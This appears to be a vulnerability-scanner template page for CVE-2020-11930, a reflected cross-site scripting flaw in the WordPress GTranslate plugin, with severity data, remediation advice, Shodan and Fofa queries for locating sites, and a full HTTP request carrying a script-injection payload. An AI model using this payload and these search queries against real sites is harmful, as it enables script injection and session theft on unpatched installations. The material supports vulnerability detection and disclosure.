| Title | WordPress GTranslate <2.8.52 - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript through a crafted link, potentially stealing user credentials, session tokens, or performing unauthorized actions on behalf of victims when they click the malicious link. |
| Remediation | Update the WordPress GTranslate plugin to version 2.8.52 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04451 |
| CVE ID | CVE-2020-11930 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/gtranslate |
| Fofa Query | body=/wp-content/plugins/gtranslate |
| Tags | cve2020 cve wordpress wp xss wp-plugin wpscan gtranslate vuln |
WordPress GTranslate plugin before 2.8.52 contains an unauthenticated reflected cross-site scripting vulnerability via a crafted link. This requires use of the hreflang tags feature within a sub-domain or sub-directory paid option.
GET /does_not_exist%22%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E%3Cimg%20src=x HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11930.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11930.pcap
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